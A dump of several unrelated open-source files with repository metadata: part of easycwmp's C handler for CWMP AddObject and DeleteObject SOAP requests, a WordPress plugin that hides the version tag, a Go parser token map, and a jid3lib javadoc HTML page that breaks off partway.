log_message(NAME, L_DEBUG, "send ScheduleInformResponse to the ACS\n");
return 0;
fault_out:
xml_create_generic_fault_message(body_out, code);
return 0;
}
/* AddObject */
static int xml_handle_AddObject(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out)
{
mxml_node_t *b = body_in, *t, *body_out;
char *object_name = NULL, *param_key = NULL;
char *status = NULL, *fault = NULL, *instance = NULL;
int code = FAULT_9002;
body_out = mxmlFindElement(tree_out, tree_out, "soap_env:Body", NULL, NULL, MXML_DESCEND);
if (!body_out) return -1;
while (b) {
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "ObjectName")) {
object_name = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "ObjectName") &&
!b->child) {
object_name = "";
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "ParameterKey")) {
param_key = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "ParameterKey") &&
!b->child) {
param_key = "";
}
b = mxmlWalkNext(b, body_in, MXML_DESCEND);
}
if (!param_key) {
code = FAULT_9003;
goto fault_out;
}
if (object_name) {
external_action_parameter_execute("add", "object", object_name, NULL);
if (external_action_handle(json_handle_add_object)) goto fault_out;
} else {
code = FAULT_9003;
goto fault_out;
}
external_fetch_add_obj_resp(&status, &instance, &fault);
if (fault && fault[0] == '9') {
code = xml_get_index_fault(fault);
goto fault_out;
}
if (!status || !instance) {
code = FAULT_9002;
goto fault_out;
}
external_action_simple_execute("apply", "object", param_key);
t = mxmlNewElement(body_out, "cwmp:AddObjectResponse");
if (!t) goto error;
b = mxmlNewElement(t, "InstanceNumber");
if (!b) goto error;
b = mxmlNewText(b, 0, instance);
if (!b) goto error;
b = mxmlNewElement(t, "Status");
if (!b) goto error;
b = mxmlNewText(b, 0, status);
if (!b) goto error;
free(instance);
free(status);
free(fault);
log_message(NAME, L_DEBUG, "send AddObjectResponse to the ACS\n");
return 0;
fault_out:
xml_create_generic_fault_message(body_out, code);
free(instance);
free(status);
free(fault);
return 0;
error:
free(instance);
free(status);
free(fault);
return -1;
}
/* DeleteObject */
static int xml_handle_DeleteObject(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out)
{
mxml_node_t *b = body_in, *t, *body_out;
char *object_name = NULL, *param_key = NULL;
char *status = NULL, *fault = NULL;
int code = FAULT_9002;
body_out = mxmlFindElement(tree_out, tree_out, "soap_env:Body", NULL, NULL, MXML_DESCEND);
if (!body_out) return -1;
while (b) {
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "ObjectName")) {
object_name = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "ObjectName") &&
!b->child) {
object_name = "";
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "ParameterKey")) {
param_key = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "ParameterKey") &&
!b->child) {
param_key = "";
}
b = mxmlWalkNext(b, body_in, MXML_DESCEND);
}
if (!param_key) {
code = FAULT_9003;
goto fault_out;
}
if (object_name) {
external_action_parameter_execute("delete", "object", object_name, NULL);
if (external_action_handle(json_handle_method_status)) goto fault_out;
} else {
code = FAULT_9003;
goto fault_out;
}
external_fetch_method_resp_status(&status, &fault);
if (fault && fault[0] == '9') {
code = xml_get_index_fault(fault);
goto fault_out;
}
if (!status ) {
code = FAULT_9002;
goto fault_out;
}
external_action_simple_execute("apply", "object", param_key);
t = mxmlNewElement(body_out, "cwmp:DeleteObjectResponse");
if (!t) goto error;
b = mxmlNewElement(t, "Status");
if (!b) goto error;
b = mxmlNewText(b, 0, status);
if (!b) goto error;
free(status);
free(fault);
log_message(NAME, L_DEBUG, "send DeleteObjectResponse to the ACS\n");
return 0;
fault_out:
xml_create_generic_fault_message(body_out, code);
free(status);
free(fault);
return 0;
error:
free(status);
free(fault);
return -1;
}
/* Fault */
mxml_node_t *xml_create_generic_fault_message(mxml_node_t *body, int code)
{
mxml_node_t *b, *t, *u;
b = mxmlNewElement(body, "soap_env:Fault");
if (!b) return NULL;
t = mxmlNewElement(b, "faultcode");
if (!t) return NULL;
u = mxmlNewText(t, 0, fault_array[code].type);
if (!u) return NULL;
t = mxmlNewElement(b, "faultstring");
if (!t) return NULL;
u = mxmlNewText(t, 0, "CWMP fault");
if (!u) return NULL;
b = mxmlNewElement(b, "detail");
if (!b) return NULL;
b = mxmlNewElement(b, "cwmp:Fault");
if (!b) return NULL;
t = mxmlNewElement(b, "FaultCode");
if (!t) return NULL;
u = mxmlNewText(t, 0, fault_array[code].code);
if (!u) return NULL;
t = mxmlNewElement(b, "FaultString");
if (!t) return NULL;
u = mxmlNewText(t, 0, fault_array[code].string);
if (!u) return NULL;
log_message(NAME, L_DEBUG, "send Fault: %s: '%s'\n", fault_array[code].code, fault_array[code].string);
return b;
}
int xml_create_set_parameter_value_fault_message(mxml_node_t *body, int code)
{
struct external_parameter *external_parameter;
mxml_node_t *b, *n, *t;
int index;
n = xml_create_generic_fault_message(body, code);
if (!n)
return -1;
while (external_list_parameter.next != &external_list_parameter) {
external_parameter = list_entry(external_list_parameter.next, struct external_parameter, list);
if (external_parameter->fault_code && external_parameter->fault_code[0]=='9') {
index = xml_get_index_fault(external_parameter->fault_code);
b = mxmlNewElement(n, "SetParameterValuesFault");
if (!b) return -1;
t = mxmlNewElement(b, "ParameterName");
if (!t) return -1;
t = mxmlNewText(t, 0, external_parameter->name);
if (!t) return -1;
t = mxmlNewElement(b, "FaultCode");
if (!t) return -1;
t = mxmlNewText(t, 0, external_parameter->fault_code);
if (!t) return -1;
t = mxmlNewElement(b, "FaultString");
if (!t) return -1;
t = mxmlNewText(t, 0, fault_array[index].string);
if (!t) return -1;
}
external_parameter_delete(external_parameter);
}
return 0;
}
|
carrierwrt/easycwmp
|
src/xml.c
|
C
|
gpl-2.0
| 46,418
|
<?php
/**
* Removing WordPress version from HEAD and RSS
*
*/
function disable_version() {
return '';
}
add_filter('the_generator','disable_version');
remove_action('wp_head', 'wp_generator');
|
weupnorth/WordPress-Must-Use-Plugins
|
wun-head-cleanup.php
|
PHP
|
gpl-2.0
| 202
|
package token
import(
"fmt"
)
type Token struct {
Type
Lit []byte
Pos
}
type Type int
const(
INVALID Type = iota
EOF
)
type Pos struct {
Offset int
Line int
Column int
}
func (this Pos) String() string {
return fmt.Sprintf("Pos(offset=%d, line=%d, column=%d)", this.Offset, this.Line, this.Column)
}
type TokenMap struct {
typeMap []string
idMap map[string]Type
}
func (this TokenMap) Id(tok Type) string {
if int(tok) < len(this.typeMap) {
return this.typeMap[tok]
}
return "unknown"
}
func (this TokenMap) Type(tok string) Type {
if typ, exist := this.idMap[tok]; exist {
return typ
}
return INVALID
}
func (this TokenMap) TokenString(tok *Token) string {
//TODO: refactor to print pos & token string properly
return fmt.Sprintf("%s(%d,%s)", this.Id(tok.Type), tok.Type, tok.Lit)
}
func (this TokenMap) StringType(typ Type) string {
return fmt.Sprintf("%s(%d)", this.Id(typ), typ)
}
var TokMap = TokenMap{
typeMap: []string{
"INVALID",
"$",
";",
"id",
"=",
"+",
"-",
"*",
"/",
"(",
")",
"int",
"float",
"string",
"${date:",
"date",
"}",
"${env:",
},
idMap: map[string]Type {
"INVALID": 0,
"$": 1,
";": 2,
"id": 3,
"=": 4,
"+": 5,
"-": 6,
"*": 7,
"/": 8,
"(": 9,
")": 10,
"int": 11,
"float": 12,
"string": 13,
"${date:": 14,
"date": 15,
"}": 16,
"${env:": 17,
},
}
|
crackcell/hpipe
|
dag/symbol/token/token.go
|
GO
|
gpl-2.0
| 1,383
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.4.2_11) on Tue Mar 14 21:50:52 EST 2006 -->
<TITLE>
Uses of Class org.farng.mp3.AbstractMP3Tag (jid3lib 0.5.4)
</TITLE>
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
parent.document.title="Uses of Class org.farng.mp3.AbstractMP3Tag (jid3lib 0.5.4)";
}
</SCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=3 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../index.html" target="_top"><B>FRAMES</B></A>
<A HREF="AbstractMP3Tag.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<CENTER>
<H2>
<B>Uses of Class<br>org.farng.mp3.AbstractMP3Tag</B></H2>
</CENTER>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=2><FONT SIZE="+2">
Packages that use <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><A HREF="#org.farng.mp3"><B>org.farng.mp3</B></A></TD>
<TD>Start with AbstractMP3Tag or MP3File </TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><A HREF="#org.farng.mp3.filename"><B>org.farng.mp3.filename</B></A></TD>
<TD>Start with FilenameTag </TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><A HREF="#org.farng.mp3.id3"><B>org.farng.mp3.id3</B></A></TD>
<TD>Start with ID3v1, ID3v1_1, ID3v2_2, ID3v2_2Frame, ID3v2_3, ID3v2_3Frame, ID3v2_4, or ID3v2_4Frame. </TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><A HREF="#org.farng.mp3.lyrics3"><B>org.farng.mp3.lyrics3</B></A></TD>
<TD>Start with Lyrics3v1 or Lyrics3v2 </TD>
</TR>
</TABLE>
<P>
<A NAME="org.farng.mp3"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=2><FONT SIZE="+2">
Uses of <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> in <A HREF="../../../../org/farng/mp3/package-summary.html">org.farng.mp3</A></FONT></TD>
</TR>
</TABLE>
<P>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableSubHeadingColor">
<TD COLSPAN=2>Methods in <A HREF="../../../../org/farng/mp3/package-summary.html">org.farng.mp3</A> with parameters of type <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>MP3File.</B><B><A HREF="../../../../org/farng/mp3/MP3File.html#setID3v1Tag(org.farng.mp3.AbstractMP3Tag)">setID3v1Tag</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> mp3tag)</CODE>
<BR>
Sets the <code>ID3v1</code> tag for this object.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>MP3File.</B><B><A HREF="../../../../org/farng/mp3/MP3File.html#setID3v2Tag(org.farng.mp3.AbstractMP3Tag)">setID3v2Tag</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> mp3tag)</CODE>
<BR>
Sets the <code>ID3v2</code> tag for this object.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>MP3File.</B><B><A HREF="../../../../org/farng/mp3/MP3File.html#setLyrics3Tag(org.farng.mp3.AbstractMP3Tag)">setLyrics3Tag</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> mp3tag)</CODE>
<BR>
Sets the <code>Lyrics3</code> tag for this object.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>MP3File.</B><B><A HREF="../../../../org/farng/mp3/MP3File.html#delete(org.farng.mp3.AbstractMP3Tag)">delete</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> mp3tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> boolean</CODE></FONT></TD>
<TD><CODE><B>AbstractMP3Tag.</B><B><A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html#isSubsetOf(org.farng.mp3.AbstractMP3Tag)">isSubsetOf</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> abstractMP3Tag)</CODE>
<BR>
Returns true if this tag is a subset of the argument.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>abstract void</CODE></FONT></TD>
<TD><CODE><B>AbstractMP3Tag.</B><B><A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html#append(org.farng.mp3.AbstractMP3Tag)">append</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> abstractMP3Tag)</CODE>
<BR>
This method does nothing, but is called by subclasses for completeness</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>abstract void</CODE></FONT></TD>
<TD><CODE><B>AbstractMP3Tag.</B><B><A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html#overwrite(org.farng.mp3.AbstractMP3Tag)">overwrite</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> abstractMP3Tag)</CODE>
<BR>
This method does nothing, but is called by subclasses for completeness</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>abstract void</CODE></FONT></TD>
<TD><CODE><B>AbstractMP3Tag.</B><B><A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html#write(org.farng.mp3.AbstractMP3Tag)">write</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> abstractMP3Tag)</CODE>
<BR>
This method does nothing, but is called by subclasses for completeness</TD>
</TR>
</TABLE>
<P>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableSubHeadingColor">
<TD COLSPAN=2>Constructors in <A HREF="../../../../org/farng/mp3/package-summary.html">org.farng.mp3</A> with parameters of type <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><B><A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html#AbstractMP3Tag(org.farng.mp3.AbstractMP3Tag)">AbstractMP3Tag</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> copyObject)</CODE>
<BR>
Creates a new AbstractMP3Tag object.</TD>
</TR>
</TABLE>
<P>
<A NAME="org.farng.mp3.filename"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=2><FONT SIZE="+2">
Uses of <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> in <A HREF="../../../../org/farng/mp3/filename/package-summary.html">org.farng.mp3.filename</A></FONT></TD>
</TR>
</TABLE>
<P>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableSubHeadingColor">
<TD COLSPAN=2>Subclasses of <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> in <A HREF="../../../../org/farng/mp3/filename/package-summary.html">org.farng.mp3.filename</A></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> class</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../org/farng/mp3/filename/FilenameTag.html" title="class in org.farng.mp3.filename">FilenameTag</A></B></CODE>
<BR>
This class represents the filename.</TD>
</TR>
</TABLE>
<P>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableSubHeadingColor">
<TD COLSPAN=2>Methods in <A HREF="../../../../org/farng/mp3/filename/package-summary.html">org.farng.mp3.filename</A> with parameters of type <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>FilenameToken.</B><B><A HREF="../../../../org/farng/mp3/filename/FilenameToken.html#matchAgainstTag(org.farng.mp3.AbstractMP3Tag)">matchAgainstTag</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> matchTag)</CODE>
<BR>
Match all elements of this composite against the given tag.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>FilenameTag.</B><B><A HREF="../../../../org/farng/mp3/filename/FilenameTag.html#append(org.farng.mp3.AbstractMP3Tag)">append</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> abstractMP3Tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>FilenameTag.</B><B><A HREF="../../../../org/farng/mp3/filename/FilenameTag.html#overwrite(org.farng.mp3.AbstractMP3Tag)">overwrite</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> abstractMP3Tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>FilenameTag.</B><B><A HREF="../../../../org/farng/mp3/filename/FilenameTag.html#write(org.farng.mp3.AbstractMP3Tag)">write</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> abstractMP3Tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>FilenameParenthesis.</B><B><A HREF="../../../../org/farng/mp3/filename/FilenameParenthesis.html#matchAgainstTag(org.farng.mp3.AbstractMP3Tag)">matchAgainstTag</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> matchTag)</CODE>
<BR>
Match all elements of this composite against the given tag.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>FilenameDelimiter.</B><B><A HREF="../../../../org/farng/mp3/filename/FilenameDelimiter.html#matchAgainstTag(org.farng.mp3.AbstractMP3Tag)">matchAgainstTag</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> matchTag)</CODE>
<BR>
Match all elements of this composite against the given tag.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>abstract void</CODE></FONT></TD>
<TD><CODE><B>AbstractFilenameComposite.</B><B><A HREF="../../../../org/farng/mp3/filename/AbstractFilenameComposite.html#matchAgainstTag(org.farng.mp3.AbstractMP3Tag)">matchAgainstTag</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> matchTag)</CODE>
<BR>
Match all elements of this composite against the given tag.</TD>
</TR>
</TABLE>
<P>
<A NAME="org.farng.mp3.id3"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=2><FONT SIZE="+2">
Uses of <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> in <A HREF="../../../../org/farng/mp3/id3/package-summary.html">org.farng.mp3.id3</A></FONT></TD>
</TR>
</TABLE>
<P>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableSubHeadingColor">
<TD COLSPAN=2>Subclasses of <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> in <A HREF="../../../../org/farng/mp3/id3/package-summary.html">org.farng.mp3.id3</A></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> class</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../org/farng/mp3/id3/AbstractID3.html" title="class in org.farng.mp3.id3">AbstractID3</A></B></CODE>
<BR>
Superclass for all ID3 tags</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> class</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../org/farng/mp3/id3/AbstractID3v1.html" title="class in org.farng.mp3.id3">AbstractID3v1</A></B></CODE>
<BR>
Superclass for all ID3v1 tags.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> class</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../org/farng/mp3/id3/AbstractID3v2.html" title="class in org.farng.mp3.id3">AbstractID3v2</A></B></CODE>
<BR>
Superclass for all ID3v2 tags</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> class</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../org/farng/mp3/id3/ID3v1.html" title="class in org.farng.mp3.id3">ID3v1</A></B></CODE>
<BR>
<TABLE border=0> <TBODY> <TD class=h2>What is ID3 (v1)?</TBODY> <TABLE border=0> <TBODY> <TR
vAlign=top> </TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> class</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../org/farng/mp3/id3/ID3v1_1.html" title="class in org.farng.mp3.id3">ID3v1_1</A></B></CODE>
<BR>
<TABLE border=0> <TBODY> <TD class=h2>What is ID3v1.1?</TBODY> <TABLE border=0> <TBODY> <TR
vAlign=top> </TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> class</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_2.html" title="class in org.farng.mp3.id3">ID3v2_2</A></B></CODE>
<BR>
<p class=t> The two biggest design goals were to be able to implement ID3v2 without disturbing old software too much
and that ID3v2 should be expandable.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> class</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_3.html" title="class in org.farng.mp3.id3">ID3v2_3</A></B></CODE>
<BR>
<p class=t> The two biggest design goals were to be able to implement ID3v2 without disturbing old software too much
and that ID3v2 should be as flexible and expandable as possible.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> class</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_4.html" title="class in org.farng.mp3.id3">ID3v2_4</A></B></CODE>
<BR>
ID3v2 is a general tagging format for audio, which makes it possible<br> to store meta
data about the audio inside the audio file itself.</TD>
</TR>
</TABLE>
<P>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableSubHeadingColor">
<TD COLSPAN=2>Methods in <A HREF="../../../../org/farng/mp3/id3/package-summary.html">org.farng.mp3.id3</A> with parameters of type <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
